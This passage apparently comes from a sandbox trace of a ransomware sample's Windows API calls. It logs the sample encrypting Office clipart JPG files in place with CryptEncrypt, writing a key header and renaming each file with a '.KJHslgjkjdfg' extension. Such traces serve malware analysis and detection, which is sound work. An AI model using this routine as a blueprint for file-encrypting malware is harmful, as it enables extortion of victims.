dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.924] SetEndOfFile (hFile=0x114) returned 1 [0177.927] GetProcessHeap () returned 0x2a0000 [0177.927] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0177.927] GetProcessHeap () returned 0x2a0000 [0177.927] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0177.927] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg.kjhslgjkjdfg")) returned 1 [0177.929] CloseHandle (hObject=0x114) returned 1 [0177.929] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb12e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0177257.JPG", cAlternateFileName="")) returned 1 [0177.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0177.931] GetProcessHeap () returned 0x2a0000 [0177.931] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0177.931] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0177.931] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0177.931] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0177.934] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.934] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.934] GetProcessHeap () returned 0x2a0000 [0177.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0177.934] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0177.934] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.934] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0177.934] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0177.935] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0177.935] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0177.935] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0177.935] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.935] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.935] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.935] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.935] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb12e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb12e, lpOverlapped=0x0) returned 1 [0177.937] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb130, dwBufLen=0xb130 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb130) returned 1 [0177.938] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.938] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb130, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb130, lpOverlapped=0x0) returned 1 [0177.938] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.938] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.938] SetEndOfFile (hFile=0x114) returned 1 [0177.941] GetProcessHeap () returned 0x2a0000 [0177.941] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0177.941] GetProcessHeap () returned 0x2a0000 [0177.941] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0177.941] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg.kjhslgjkjdfg")) returned 1 [0177.943] CloseHandle (hObject=0x114) returned 1 [0177.943] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd902, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0177806.JPG", cAlternateFileName="")) returned 1 [0177.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0177.945] GetProcessHeap () returned 0x2a0000 [0177.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0177.945] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0177.945] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0177.945] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0177.947] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.947] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.947] GetProcessHeap () returned 0x2a0000 [0177.948] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0177.948] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0177.948] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.948] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0177.948] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0177.948] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0177.948] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0177.948] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0177.948] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.948] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.948] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.948] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.948] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd902, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd902, lpOverlapped=0x0) returned 1 [0177.951] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd910, dwBufLen=0xd910 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd910) returned 1 [0177.952] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.952] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd910, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd910, lpOverlapped=0x0) returned 1 [0177.952] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.952] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd9e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.952] SetEndOfFile (hFile=0x114) returned 1 [0177.956] GetProcessHeap () returned 0x2a0000 [0177.956] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0177.956] GetProcessHeap () returned 0x2a0000 [0177.956] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0177.956] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg.kjhslgjkjdfg")) returned 1 [0177.957] CloseHandle (hObject=0x114) returned 1 [0177.957] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x907d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0178348.JPG", cAlternateFileName="")) returned 1 [0177.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0177.958] GetProcessHeap () returned 0x2a0000 [0177.958] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0177.958] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0177.958] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0177.958] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x3, lpOverlapped=0x0) returned 1 [0177.962] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.962] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.962] GetProcessHeap () returned 0x2a0000 [0177.962] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0177.962] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0177.962] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.962] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0177.962] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0177.962] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0177.962] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0177.963] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0177.963] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.963] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.963] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.963] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.963] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x907d, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x907d, lpOverlapped=0x0) returned 1 [0177.965] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9080, dwBufLen=0x9080 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9080) returned 1 [0177.965] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.965] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9080, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9080, lpOverlapped=0x0) returned 1 [0177.965] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.965] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.966] SetEndOfFile (hFile=0x114) returned 1 [0177.968] GetProcessHeap () returned 0x2a0000 [0177.968] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0177.968] GetProcessHeap () returned 0x2a0000 [0177.968] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0177.968] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg.kjhslgjkjdfg")) returned 1 [0177.970] CloseHandle (hObject=0x114) returned 1 [0177.970] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7214, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0178459.JPG", cAlternateFileName="")) returned 1 [0177.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0177.971] GetProcessHeap () returned 0x2a0000 [0177.971] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0177.971] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0177.971] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0177.971] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0177.974] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.974] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.974] GetProcessHeap () returned 0x2a0000 [0177.974] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0177.974] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0177.974] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.974] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0177.974] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0177.974] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0177.974] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0177.974] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0177.974] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.974] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.974] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.974] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.974] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7214, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7214, lpOverlapped=0x0) returned 1 [0177.976] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7220, dwBufLen=0x7220 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7220) returned 1 [0177.976] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.976] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7220, lpOverlapped=0x0) returned 1 [0177.976] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.976] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x72f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.976] SetEndOfFile (hFile=0x114) returned 1 [0177.979] GetProcessHeap () returned 0x2a0000 [0177.979] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0177.979] GetProcessHeap () returned 0x2a0000 [0177.979] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0177.979] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg.kjhslgjkjdfg")) returned 1 [0177.980] CloseHandle (hObject=0x114) returned 1 [0177.981] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ff99200, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ff99200, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x67a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0178460.JPG", cAlternateFileName="")) returned 1 [0177.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 